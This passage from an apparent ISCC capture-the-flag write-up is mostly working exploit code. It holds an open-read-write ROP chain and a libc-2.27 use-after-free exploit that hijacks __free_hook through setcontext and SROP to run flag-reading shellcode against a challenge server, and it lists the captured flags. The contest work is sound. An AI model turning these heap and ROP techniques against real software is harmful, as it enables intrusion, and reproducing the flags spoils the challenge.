pop_rdi, 3, pop_rsi, 0x100080, pop_rdx,0x80,0, pop_rax,0, syscall, # read
pop_rdi, 1, pop_rax,1, syscall # write
]) + b'flllll1ll1lllla4444444444444444gGggGG\x00'
#找不到文件,读目录
orw1 = flat([
pop_rdi, stack+0xc8, pop_rsi,0, pop_rdx,0,0, pop_rax,2, syscall, # open
pop_rdi, 3, pop_rsi, 0x100080, pop_rdx,0x400,0, pop_rax,0x4e, syscall, # getdents64
pop_rdi, 1, pop_rax,1, syscall # write
]) + b'.\x00'
debug(0, orw)
#gdb.attach(p)
p.interactive()
#ISCC{DoKPWB4BnBZ5Afjmst5brJvr4SHvm74HMhVF}
unheap
libc-2.27 UAF 写__free_hook setcontext+53 再写shellcode
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
#elf = ELF('./unheap')
#p = process('./unheap')
p = remote('182.92.237.102', 10030)
def add(size, msg=b'A'):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"[*] Note data size: ", str(size).encode())
p.sendafter(b"[*] Note content: ", msg)
def free(idx):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b"[*] Note index: ", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b">> ", b'3')
p.sendlineafter(b'[+] Note index: ', str(idx).encode())
p.sendafter(b"[*] Note data: ", msg)
def show(idx):
p.sendlineafter(b">> ", b'4')
p.sendlineafter(b"[*] Note index: ", str(idx).encode())
#heap = 0x280 libc-2.27 ?
for i in range(8):
add(0x80)
add(0x28)
add(0x28)
for i in range(8):
free(i)
show(7) #ca0
p.recvuntil(b': ')
libc.address = u64(p.recv(6)+b'\0\0') - 0x60 - 0x10 - libc.sym['__malloc_hook'] #libc.sym['main_arena']
print(f"{libc.address = :x}")
#
syscall = next(libc.search(asm("syscall\nret")))
free_hook = libc.sym['__free_hook']
#
frame = SigreturnFrame()
frame.rax=0 # read
frame.rdi=0 # argv fd
frame.rsi=free_hook&0xfffffffffffff000 #argv ptr
frame.rdx=0x200 #argv size
frame.rsp=free_hook&0xfffffffffffff000 #retrun
frame.rip=syscall #call
add(0x100, flat(frame)) #10
free(8)
free(9)
edit(9, p64(libc.sym['__free_hook']))
add(0x28) #11
add(0x28, p64(libc.sym['setcontext']+53)) #__free_hook -> setcontext+53
free(10) #
layout = [
libc.address + 0x000000000002164f , free_hook & 0xfffffffffffff000,
libc.address + 0x0000000000023a6a , 0x2000,
libc.address + 0x0000000000001b96 , 7,
libc.address + 0x000000000001b500 , 10,
syscall, #: syscall; ret;
next(libc.search(asm("jmp rsp"))), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
p.sendline(flat(layout) + shellcode)
#gdb.attach(p)
#pause()
p.interactive()
#ISCC{BdjoU07jthSphGMZ6Bn58l5sIEtOSAa44kEh}